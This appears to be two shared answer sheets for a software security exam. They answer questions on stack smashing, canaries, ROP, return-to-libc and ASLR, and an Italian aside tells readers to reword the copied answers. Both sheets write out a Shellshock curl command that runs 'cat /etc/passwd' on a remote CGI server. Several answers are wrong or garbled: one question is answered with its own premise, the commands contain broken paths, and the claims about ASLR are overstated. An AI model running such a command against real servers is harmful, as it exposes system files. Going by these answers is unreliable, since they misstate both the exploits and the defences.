**A**

**1)**

**2)**

**3)**

**4)**

**5)**

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

1/10) Is the program leak.c vulnerable to a buffer overflow of type stack smashing/control hijacking?

(If yes why, if no why)

No, we cannot smash the stack here since we don’t rewrite the stack. We copy the same amount of byte.

2/10) Is the program leak.c vulnerable to a buffer overflow of type information exfiltration?

(If yes why, if no why)

No because we don’t leak any data. Memcpy() won’t copy beyond the length of the intended source array and retval(the dest) and source have the same size.

3/10) Is the program leak.c vulnerable if stack protectors (canaries) are in place?

(If yes why, if no why)

No because we aren’t writing on stack so the canaries value is never modifed.

7/10) Is it still possible to make a Return Oriented Programming attack?

(If yes why, if no why)

Yes it is possibile since there are several function in libc to use, system is just one of them. So with ROP a lot of other functions can be chained together.

(non scrivetele completamente uguali)

8/10) Is it possible to make a return to libc attack that activates any program that is present on the system?

(If yes why, if no why and which are the restrictions)

Yes because we can use other functions, in example we can use execve.

9/10) Does ASLR protect from a return to libc attack?

(If yes why, if no why)

Yes since we are changing the addresses of the functions (like system) and the addresses of argument to pass to the function(like /bin/sh to get the shell) so we prevent the return to libc attack.

Assume you know the address of a http server with the shellshock vulnerability and a myCommand CGI program available (in the default CGI-BIN folder).

10/10) Write the curl command that makes an http request that exploits the shellshock vulnerability and executes the "cat /etc/passwd" command redirecting the output to a file named pippo.txt in the folder /tmp on the remote server

curl -A “() { echo hello;}; echo Content\_type: text/plain; echo; /bin/cat etc/passwd > /tmp/pippo.txt 2>&1” http://localhost/cgi-bin/test.cgi

**B**

**1) All of above**

**2) File with hashed pwd**

**3) Rule can arbitry follow**

**4) Rsoiurse exhaustion**

**5) Detect intruder**

**1)**

**2)**

**3)**

**4)**

**5)**

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

1/10) Is the program leak.c vulnerable to a buffer overflow of type stack smashing/control hijacking?

(If yes why, if no why)

No, because we have the same dimension of size of retval and buffer , so we copy exaclty the number fo byte .

2/10) Is the program leak.c vulnerable to a buffer overflow of type information exfiltration?

(If yes why, if no why)

No, because we dont copy extra thing . if the size of buffer is 100. the retval is 100 and we copy the exaclty 100 byte

3/10) Is the program leak.c vulnerable if stack protectors (canaries) are in place?

(If yes why, if no why)

No, we dont overwrite the stack.

4/10) Can not executable stack prevent the return loop in loop3.c?

(If yes why, if no why)

No, because we dont inject any shell code inside stack. So it does not prevent

5/10) Can stack protectors (canaries) prevent the return loop in loop3.c?

(If yes why, if no why)

No, because we dont overwrite the stack. Canaries is userful in case to detect bufferoverflow.

6/10) Can ASLR prevent the return loop in loop3.c?

(If yes why, if no why)

Yes, because we see the return address is givne by \*((int\*)(&(buf[SIZE + 4]))) = &loop; if the address is random the addresss of loop will change and we dont return to loop

Let's make the Hypothesis that there is no "system" function call in the libc library

7/10) Is it still possible to make a Return Oriented Programming attack?

(If yes why, if no why)

Let's make the Hypothesis that there is no "system" function call in the libc library

8/10) Is it possible to make a return to libc attack that activates any program that is present on the system?

(If yes why, if no why and which are the restrictions)

Yes , we can use execve. For example bin/sh is in system and we can also activate with execve

9/10) Does ASLR protect from a return to libc attack?

(If yes why, if no why)

Yes, because we change the address of system and others each time (like bin/sh for active shell ) , so we prevent the return to lib attack. For tihs reason it does not skip to right address

Assume you know the address of a http server with the shellshock vulnerability and a myCommand CGI program available (in the default CGI-BIN folder).

10/10) Write the curl command that makes an http request that exploits the shellshock vulnerability and executes the "cat /etc/passwd" command redirecting the output to a file named pippo.txt in the folder /tmp on the remote server

curl -A “() { echo hello ; };

echo Content\_type : text/plain ; echo; cat/etc/password>/temp/pippo.txt “

**1)**

**2)**

**3)**

**4)**

**5)**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**